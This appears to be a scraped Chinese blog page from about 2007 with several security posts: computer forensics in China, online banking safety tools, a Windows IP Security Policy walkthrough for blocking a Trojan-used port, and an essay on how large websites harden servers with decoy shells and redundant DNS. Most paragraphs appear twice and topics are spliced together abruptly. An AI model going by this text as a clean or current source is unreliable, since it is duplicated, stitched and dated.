在国内,公安部门打击计算机犯罪案件是近几年的事,有关计算机取证方面的研究和实践才刚起步。中科院、浙江大学和复旦大学等在电子取证的各个技术方面都在积极开展研究工作。6月26日在北京召开的CFAT.2005首届中国计算机取证技术峰会也是旨在推动国内外计算机取证先进技术的传播和扩大研究交流的深度广度,促进计算机取证专业人员、司法界人士以及兴趣爱好者直接、深入的交流。在把企业业务连续性作为首位的同时,我们也呼吁更加智能化的物理取证工具的早日面试。
随着网络信息技术的发展和电子商务的普及,以互联网技术为核心的网上银行正日渐取代传统的银行业务。“网上银行”为金融企业的发展带来了前所未有的商机,也为广大用户提供了快速便捷、形式多样的金融服务。作为一种全新的交易渠道,客户不必亲自去银行网点办理业务,只要能够上网,无论在家、办公室,还是在旅途中,都可以全天24小时安全便捷地管理自己的资产,办理查询、转账、缴费等银行业务。
然而近年来,假网站、假电子邮件、假短信、恶意木马病毒等各种新的犯罪手段层出不穷,很多人对处于推广普及阶段的网上银行了解得不多,特别是对如何确保安全并有效防范各种网络诈骗和网络盗窃行为知之甚少。为此,国内各大商业银行相继推出了一系列安全工具,保障网上银行交易安全。国内最大的商业银行中国工商银行推出了网银高端安全工具——U盾(个人客户证书)和最新的电子银行口令卡,让客户在享受网上银行便利服务的同时,确保支付交易安全。
安全性作为网络银行赖以生存和得以发展的核心及基础,从一开始就受到各家银行的极度重视,包括工行在内的各大商业银行都采取了有效的技术和业务手段确保网上银行安全。相信随着国民金融意识的增强和国家规范网上行为等相关法律法规的出台,广大用户会享受到更好的网上银行使用环境。为客户提供“3A服务”(任何时间、任何地点、任何方式)的“网上银行”一定会赢得越来越多用户的青睐。
然而近年来,假网站、假电子邮件、假短信、恶意木马病毒等各种新的犯罪手段层出不穷,很多人对处于推广普及阶段的网上银行了解得不多,特别是对如何确保安全并有效防范各种网络诈骗和网络盗窃行为知之甚少。为此,国内各大商业银行相继推出了一系列安全工具,保障网上银行交易安全。国内最大的商业银行中国工商银行推出了网银高端安全工具——U盾(个人客户证书)和最新的电子银行口令卡,让客户在享受网上银行便利服务的同时,确保支付交易安全。
安全性作为网络银行赖以生存和得以发展的核心及基础,从一开始就受到各家银行的极度重视,包括工行在内的各大商业银行都采取了有效的技术和业务手段确保网上银行安全。相信随着国民金融意识的增强和国家规范网上行为等相关法律法规的出台,广大用户会享受到更好的网上银行使用环境。为客户提供“3A服务”(任何时间、任何地点、任何方式)的“网上银行”一定会赢得越来越多用户的青睐。
IP安全策略 VS 特洛伊木马
[ 2007-03-25 02:53:11 | 作者: sun ]
当木马悄悄打开某扇“方便之门”(端口)时,不速之客就会神不知鬼不觉地侵入你的电脑。如果被种下木马其实也不必担心,首先我们要切断它们与外界的联系(就是 堵住可疑端口)。
在Win 2000/XP/2003系统中,Microsoft管理控制台(MMC)已将系统的配置功能汇集成配置模块,大大方便我们进行特殊的设置(以Telnet利用的23端口为例,笔者的操作系统为Win XP)。
操作步骤
首先单击“运行”在框中输入“mmc”后回车,会弹出“控制台1”的窗口。我们依次选择“文件→添加/删除管理单元→在独立标签栏中点击‘添加’→IP安全策略管理”,最后按提示完成操作。这时,我们已把“IP安全策略,在本地计算机”(以下简称“IP安全策略”)添加到“控制台根节点”下。
现在双击“IP安全策略”就可以新建一个管理规则了。右击“IP安全策略”,在弹出的快捷菜单中选择“创建IP安全策略”,打开IP安全策略向导,点击“下一步→名称默认为‘新IP安全策略’→下一步→不必选择‘激活默认响应规则’”(注意:在点击“下一步的同时,需要确认此时“编辑属性”被选中),然后选择“完成→在“新IP安全策略属性→添加→不必选择‘使用添加向导’”。
在寻址栏的源地址应选择“任何IP地址”,目标地址选择“我的IP地址”(不必选择镜像)。在协议标签栏中,注意类型应为TCP,并设置IP协议端口从任意端口到此端口23,最后点击“确定”即可。这时在“IP筛选器列表”中会出现一个“新IP筛选器”,选中它,切换到“筛选器操作”标签栏,依次点击“添加→名称默认为‘新筛选器操作’→添加→阻止→完成”。
新策略需要被激活才能起作用,具体方法是:在“新IP安全策略”上点右键,“指派”刚才制定的策略。
效果
现在,当我们从另一台电脑Telnet到设防的这一台时,系统会报告登录失败;用扫描工具扫描这台机子,会发现23端口仍然在提供服务。以同样的方法,大家可以把其它任何可疑的端口都封杀掉,让不速之客们大叫“不妙”去吧!
在Win 2000/XP/2003系统中,Microsoft管理控制台(MMC)已将系统的配置功能汇集成配置模块,大大方便我们进行特殊的设置(以Telnet利用的23端口为例,笔者的操作系统为Win XP)。
操作步骤
首先单击“运行”在框中输入“mmc”后回车,会弹出“控制台1”的窗口。我们依次选择“文件→添加/删除管理单元→在独立标签栏中点击‘添加’→IP安全策略管理”,最后按提示完成操作。这时,我们已把“IP安全策略,在本地计算机”(以下简称“IP安全策略”)添加到“控制台根节点”下。
现在双击“IP安全策略”就可以新建一个管理规则了。右击“IP安全策略”,在弹出的快捷菜单中选择“创建IP安全策略”,打开IP安全策略向导,点击“下一步→名称默认为‘新IP安全策略’→下一步→不必选择‘激活默认响应规则’”(注意:在点击“下一步的同时,需要确认此时“编辑属性”被选中),然后选择“完成→在“新IP安全策略属性→添加→不必选择‘使用添加向导’”。
在寻址栏的源地址应选择“任何IP地址”,目标地址选择“我的IP地址”(不必选择镜像)。在协议标签栏中,注意类型应为TCP,并设置IP协议端口从任意端口到此端口23,最后点击“确定”即可。这时在“IP筛选器列表”中会出现一个“新IP筛选器”,选中它,切换到“筛选器操作”标签栏,依次点击“添加→名称默认为‘新筛选器操作’→添加→阻止→完成”。
新策略需要被激活才能起作用,具体方法是:在“新IP安全策略”上点右键,“指派”刚才制定的策略。
效果
现在,当我们从另一台电脑Telnet到设防的这一台时,系统会报告登录失败;用扫描工具扫描这台机子,会发现23端口仍然在提供服务。以同样的方法,大家可以把其它任何可疑的端口都封杀掉,让不速之客们大叫“不妙”去吧!
看大网站如何保障网络安全
[ 2007-03-25 02:53:00 | 作者: sun ]
首先,服务器上用的是私有的操作系统和数据库,所谓私有,并不是完全自己写,而是说,全部都是进行私有化改造过的,一般使用开源的操作系统和数据库进行改造,比如说操作系统使用free bsd的改,数据库使用mysql的改,网站服务器数量上百时开始实施这个工程的网站比较多,费用是很重要的一方面原因,但更重要的是安全因素。防火墙不仅昂贵,而且会严重降低效率,所以他们一般不会考虑。
改造操作系统的时候,除通信所需的一些命令文件保持原名外,很多命令文件连文件名都换掉(有人认为这是小花样,呵呵),大量功能被重写,黑客即使拿到权限坐在服务器面前,也取不到数据。
有网站首席安全官认为放一扇门让别人一个劲砸,不如给人两条路让人选择正确的或者不正确的,所有使用错误帐号和密码去试系统的人,都会被允许以匿名身份登录到一个shell里,那个shell跟真的系统很象,嗯,只是很象,但其实是个空壳,所有的指令,都会被以最小代价运行,调用假的信息界面出来。有的甚至里面放了陷阱,欺骗性引导黑客自动送上身份资料或其他一些敏感信息,毕竟黑客可能通过境外跳板过来,如果不是黑客主动送上,网站方很难获得黑客身份资料的。
使用自己的安全策略,对已有的攻击手段都有相应的防护措施。比如说对syn flood这样的,就是临时降低服务质量,降低半连接等待时间,这样连接的成功率会降低,但是不会造成服务被停。
网络空闲时间经常有欺骗性数据流在办公网络和服务器之间流动,使用强度不高的加密方式加密,让黑客有事做。
网站内部工作人员使用业务系统登录网站服务器时,界面上和一般服务器一样,所有的一般命令都可以通过业务系统转换为私有操作系统的专用命令而得到执行,网站内部工作人员也只有很少的知道转换的对照,而且一般都经过分权,做操作系统开发的,不负责服务器的维护,并且不知道安装某个内部版本号操作系统的服务器被部署到什么地方。
帐号及密码按规定必须通过安全的消息平台传递。
有自己部署在不同城市的DNS服务器,所有部署出去的应用都有不在同一机房的备用系统,应急机制设置在自己的DNS服务器这一环节,使用承载其他服务的服务器做交叉的安全状态监测,比如说A1服务器是A服务器的备用系统,使用CDEFGH等服务器来做A服务器安全状态监测,定时通信,并向A1服务器传递通信成功的信号,当失败率超过某个值的时候,A1自动分担A的部分压力,A1服务器上原本承担的非及时服务(不面向客户的,比如说索引服务)被降低优先级。所有服务器之间这么相互监测,通过某个机制保证监测是及时有效的。这样的情况下,即使某家DNS服务商被攻击,自己的网站都还能被大部分用户访问,因为不同地区的DNS还没被刷,用户还是可以使用那些DNS连接到网站的。
一般而言,使用了这些手段,网站的安全性不能说万无一失,也是大大提高的。
改造操作系统的时候,除通信所需的一些命令文件保持原名外,很多命令文件连文件名都换掉(有人认为这是小花样,呵呵),大量功能被重写,黑客即使拿到权限坐在服务器面前,也取不到数据。
有网站首席安全官认为放一扇门让别人一个劲砸,不如给人两条路让人选择正确的或者不正确的,所有使用错误帐号和密码去试系统的人,都会被允许以匿名身份登录到一个shell里,那个shell跟真的系统很象,嗯,只是很象,但其实是个空壳,所有的指令,都会被以最小代价运行,调用假的信息界面出来。有的甚至里面放了陷阱,欺骗性引导黑客自动送上身份资料或其他一些敏感信息,毕竟黑客可能通过境外跳板过来,如果不是黑客主动送上,网站方很难获得黑客身份资料的。
使用自己的安全策略,对已有的攻击手段都有相应的防护措施。比如说对syn flood这样的,就是临时降低服务质量,降低半连接等待时间,这样连接的成功率会降低,但是不会造成服务被停。
网络空闲时间经常有欺骗性数据流在办公网络和服务器之间流动,使用强度不高的加密方式加密,让黑客有事做。
网站内部工作人员使用业务系统登录网站服务器时,界面上和一般服务器一样,所有的一般命令都可以通过业务系统转换为私有操作系统的专用命令而得到执行,网站内部工作人员也只有很少的知道转换的对照,而且一般都经过分权,做操作系统开发的,不负责服务器的维护,并且不知道安装某个内部版本号操作系统的服务器被部署到什么地方。
帐号及密码按规定必须通过安全的消息平台传递。
有自己部署在不同城市的DNS服务器,所有部署出去的应用都有不在同一机房的备用系统,应急机制设置在自己的DNS服务器这一环节,使用承载其他服务的服务器做交叉的安全状态监测,比如说A1服务器是A服务器的备用系统,使用CDEFGH等服务器来做A服务器安全状态监测,定时通信,并向A1服务器传递通信成功的信号,当失败率超过某个值的时候,A1自动分担A的部分压力,A1服务器上原本承担的非及时服务(不面向客户的,比如说索引服务)被降低优先级。所有服务器之间这么相互监测,通过某个机制保证监测是及时有效的。这样的情况下,即使某家DNS服务商被攻击,自己的网站都还能被大部分用户访问,因为不同地区的DNS还没被刷,用户还是可以使用那些DNS连接到网站的。
一般而言,使用了这些手段,网站的安全性不能说万无一失,也是大大提高的。